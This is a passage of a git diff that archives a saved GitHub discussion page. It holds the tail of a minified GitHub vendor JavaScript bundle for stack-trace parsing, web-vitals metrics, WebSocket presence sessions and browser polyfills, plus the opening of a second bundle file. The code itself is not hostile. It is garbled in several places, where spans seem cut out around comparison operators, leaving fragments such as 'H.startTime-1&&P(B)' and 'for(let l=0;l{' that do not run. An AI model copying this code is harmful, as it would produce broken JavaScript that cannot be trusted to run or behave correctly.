d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var 